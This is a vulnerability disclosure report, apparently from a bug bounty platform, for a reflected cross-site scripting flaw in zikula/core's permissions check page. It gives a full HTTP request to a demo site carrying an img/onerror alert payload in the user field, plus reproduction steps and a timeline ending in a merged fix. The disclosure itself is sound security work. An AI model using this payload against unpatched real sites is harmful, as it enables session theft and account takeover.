Cross-site Scripting (XSS) - Reflected in zikula/core

Valid

Reported on

Sep 18th 2021


Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites

Proof of Concept

// PoC Request:

POST /permissions/test HTTP/1.1
Host: demo.ziku.la
Cookie: _zsid=qk60gkn4dmhgrjc6io2kt3dij4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 715
Origin: https://demo.ziku.la
Referer: https://demo.ziku.la/permissions/list
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

name=&zikulapermissionsmodule_filterlist%5BfilterGroup%5D=-1&zikulapermissionsmodule_filterlist%5BfilterComponent%5D=-1&zikulapermissionsmodule_filterlist%5B_token%5D=-9Yn1ZxpU-Y6clkzsiFtoJUhhk7nbVQVq3IxZMc11AY&zikulapermissionsmodule_permissioncheck%5Buser%5D=test%22%3E%3Cimg+src%3Dx+onerror%3Dalert(5)%3E&zikulapermissionsmodule_permissioncheck%5Bcomponent%5D=.*&zikulapermissionsmodule_permissioncheck%5Binstance%5D=.*&zikulapermissionsmodule_permissioncheck%5Blevel%5D=200&zikulapermissionsmodule_permissioncheck%5B_token%5D=v0qELxP-KyIgkpxFntvcBS_HC3JgLZD12XGyGLrzI3g&form%5Blocale%5D=%2Fpermissions%2Flist&form%5B_token%5D=rTzkSnIE8AQ9av7tAVFVbr3yp63jylWZDMw6hqNvbCw

**Steps :

1 --> Go to -- >https://demo.ziku.la/permissions/list

2--> Inject [Payload js] in the username input and Click "Check Permissions"

Impact

This vulnerability is capable of...steal user session , takeover user account , make redirect user to attacker controlled site ...//

We have contacted a member of the zikula/core team and are waiting to hear back a month ago
We have contacted a member of the zikula/core team and are waiting to hear back a month ago
Axel Guckelsberger validated this vulnerability a month ago
0x9x has been awarded the disclosure bounty
The fix bounty is now up for grabs
Axel Guckelsberger confirmed that a fix has been merged on 1adc96 a month ago
Axel Guckelsberger has been awarded the fix bounty